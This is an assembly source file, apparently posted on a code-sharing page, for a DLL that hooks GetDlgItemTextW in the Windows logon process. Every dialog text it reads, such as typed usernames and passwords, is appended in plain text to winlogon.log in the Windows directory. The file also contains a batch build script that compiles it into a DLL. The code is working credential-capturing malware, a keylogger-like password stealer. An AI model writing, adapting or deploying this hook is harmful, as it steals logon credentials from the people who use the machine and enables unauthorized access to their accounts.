📄 winlogon.asm
字号:
;@goto translate
.586P
.MODEL FLAT, STDCALL
OPTION CASEMAP: NONE
INCLUDE WINDOWS.inc
UNICODE = TRUE
INCLUDE APIMACRO.mac
INCLUDE ApiHooks.inc
INCLUDELIB iKERNEL32.lib
INCLUDELIB iUSER32.lib
;------------------------------------------------------------------
.DATA?
Flipper BYTE ?
.CODE
;------------------------------------------------------------------
NewGetDlgItemTextW PROC USES EBX, hDlg, nlDDlgItem, lpString, nMaxCount
LOCAL Written :DWORD
LOCAL hLog :DWORD
LOCAL Place[MAX_PATH] :SIGN
PUSH lpString
LEA EBX, Place
POP Written
iWin32 GetDlgItemTextW, hDlg, nlDDlgItem, lpString, nMaxCount
PUSH EAX
TEST EAX, EAX
JNE @F
MOV Written, sEmpty
@@:
iWin32i GetWindowsDirectory, EBX, MAX_PATH
AND SIGN PTR Place[3*SIGN], 0
iWin32i lstrcat, EBX, sLogName
XOR Flipper, 1
JE NoMsgBox
iWin32i MessageBox, hDlg, EBX, sTextsSaved, MB_ICONINFORMATION
NoMsgBox:
iWin32i CreateFile, EBX, GENERIC_WRITE, FILE_SHARE_READ,\
NULL, OPEN_ALWAYS, NULL, NULL
MOV hLog, EAX
INC EAX
JE LeaveGDITW
iWin32 SetFilePointer, hLog, 0, NULL, FILE_END
INC EAX
JE LeaveGDITW
iWin32 WideCharToMultiByte, CP_ACP, NULL, Written, -1, EBX, SIZEOF Place, NULL, NULL
MOV EDX, sAddEOL
CMP Flipper, 0
JE @F
MOV EDX, sAddSpace
@@:
iWin32 lstrcatA, EBX, EDX
iWin32 lstrlenA, EAX
LEA ECX, Written
iWin32 WriteFile, hLog, EBX, EAX, ECX, NULL
iWin32 CloseHandle, hLog
LeaveGDITW:
POP EAX
RET
NewGetDlgItemTextW ENDP
;names-------------------------------------------------------------
TEXT LogName, <winlogon.log/0>
TEXT TextsSaved, <Texts saved in/0>
TEXT Empty, </(empty/)/0>
TEXTA AddSpace, < - /0>
TEXTA AddEOL, </n/0>
TEXTA USER32, <USER32/0>
TEXTA GetDlgItemTextW, <GetDlgItemTextW/0>
;------------------------------------------------------------------
BeginHooks WinLogon
MkHook , USER32, GetDlgItemTextW
EndHooks
;------------------------------------------------------------------
END
:TRANSLATE
@ECHO OFF
ML /c /coff /nologo WinLogon.bat
LINK3 WinLogon /nologo /DLL /NOENTRY /EXPORT:WinLogon,@1,NONAME /SUBSYSTEM:WINDOWS /MERGE:.rdata=.text /MERGE:.idata=.text /IGNORE:4078 /BASE:0X70FD0000
DEL WinLogon.obj
DEL WinLogon.exp
DEL WinLogon.lib
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -